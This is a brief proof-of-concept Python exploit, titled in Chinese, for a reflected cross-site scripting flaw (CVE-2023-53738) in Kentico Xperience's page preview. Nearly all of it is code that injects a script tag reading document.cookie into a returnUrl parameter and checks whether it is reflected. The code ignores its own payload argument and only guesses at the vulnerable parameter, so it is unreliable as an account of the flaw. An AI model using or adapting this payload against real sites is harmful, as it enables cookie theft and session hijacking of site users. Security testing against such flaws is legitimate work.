CVE-2023-53738 Kentico Xperience 反射型跨站脚本漏洞

import requests # CVE-2023-53738 PoC - Reflected XSS in Kentico Xperience Page Preview # Target: Kentico Xperience application with page preview functionality def exploit_reflected_xss(target_url, payload): """ Exploit function for CVE-2023-53738 payload: Malicious JavaScript payload to be reflected """ # Construct malicious URL with XSS payload in page preview parameter # Typical vulnerable parameter: preview, pageId, or similar malicious_url = f"{target_url}?preview=1&pageId=test&returnUrl=<script>alert(document.cookie)</script>" # Send request to trigger the vulnerability response = requests.get(malicious_url) # Check if payload is reflected in response if payload in response.text: print(f"[+] XSS payload reflected successfully!") print(f"[+] Vulnerable URL: {malicious_url}") return True else: print("[-] Payload not found in response") return False # Example usage # target = "https://vulnerable-site.com/CMSPages/Preview" # payload = "<script>alert(document.cookie)</script>" # exploit_reflected_xss(target, payload)